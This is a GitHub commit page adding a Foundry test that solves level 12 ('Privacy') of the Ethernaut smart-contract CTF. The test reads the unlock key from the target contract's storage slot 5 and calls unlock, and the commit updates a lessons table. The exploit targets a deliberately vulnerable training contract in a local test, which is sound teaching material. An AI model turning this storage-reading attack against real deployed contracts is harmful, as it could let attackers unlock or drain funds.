Skip to content

Commit

Permalink
feat: ethernaut ctf lvl 12 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Sep 26, 2024
1 parent e71236b commit 5e4e40c
Show file tree
Hide file tree
Showing 2 changed files with 51 additions and 1 deletion.
2 changes: 1 addition & 1 deletion doc/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
| 09 | [King](../src/EthernautCTF/King.sol) || [KingExploit](../test/EthernautCTF/KingExploit.t.sol) | Implement a helper contract that reverts when receiving ether. |
| 10 | [Reentrance](../src/EthernautCTF/Reentrance.sol) || [ReentranceExploit](../test/EthernautCTF/ReentranceExploit.t.sol) | Perform all state changes before making external calls to avoid re-entrancy exploits. |
| 11 | [Elevator](../src/EthernautCTF/Elevator.sol) || [ElevatorExploit](../test/EthernautCTF/ElevatorExploit.t.sol) | When calling an external contract, always check the returned value before using it! |
| 12 | [Privacy](../src/EthernautCTF/Privacy.sol) | | | |
| 12 | [Privacy](../src/EthernautCTF/Privacy.sol) | | [PrivacyExploit](../test/EthernautCTF/PrivacyExploit.t.sol) | Read the key from the contract storage |
| 13 | [GatekeeperOne](../src/EthernautCTF/GatekeeperOne.sol) || [GatekeeperOneExploit](../test/EthernautCTF/GatekeeperOneExploit.t.sol) | - Estimate the amount of gas a contract call would take using `gasleft` and binary search (dichotomy).<br>- Another method is to use a `while` loop and to consume the gas tiny bits by tiny bits until the call succeeds.<br>- Perform operations using bit masks. |
| 14 | [GatekeeperTwo](../src/EthernautCTF/GatekeeperTwo.sol) || [GatekeeperTwoExploit](../test/EthernautCTF/GatekeeperTwoExploit.t.sol) | - Create a contract that has a size equal to zero by putting all the logic inside the constructor. Indeed, a contract does not have source code available during construction.<br>- Solidity does not support bitwise negation, but a simple way to perform the operation is to use the XOR operation (`^`) with `0xff` (ones). |
| 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) || [NaughtCoinExploit](../test/EthernautCTF/NaughtCoinExploit.t.sol) | Use the ERC20 `allowance` and `transferFrom` methods to send tokens on behalf of a nother address. |
Expand Down
50 changes: 50 additions & 0 deletions test/EthernautCTF/PrivacyExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Privacy.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract PrivacyExploit is Test {
Privacy target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {
vm.startPrank(deployer);
bytes32[3] memory data = [
bytes32('0x0a'),
bytes32('0x0b'),
bytes32('0x0c')
];
target = new Privacy(data);
console2.log('Target contract deployed');
vm.stopPrank();
}

function readBytes32FromTargetStorage(
uint256 _slot
) public view returns (bytes32) {
return vm.load(address(target), bytes32(_slot));
}

function testExploit() public {
assertTrue(target.locked());
console2.log('Contract locked');

// Storage layout
// - slot 0: bool locked
// - slot 1: uint256 ID
// - slot 2: uint8 flattening + uint8 denomination + uint16 awkwardness
// - slot 3: bytes32 data[0]
// - slot 4: bytes32 data[1]
// - slot 5: bytes32 data[2]
console2.log('Read key from storage');
bytes32 slot5 = readBytes32FromTargetStorage(5);

bytes16 key = bytes16(slot5);
target.unlock(key);
assertFalse(target.locked());
console2.log('Contract unlocked');
}
}

0 comments on commit 5e4e40c

Please sign in to comment.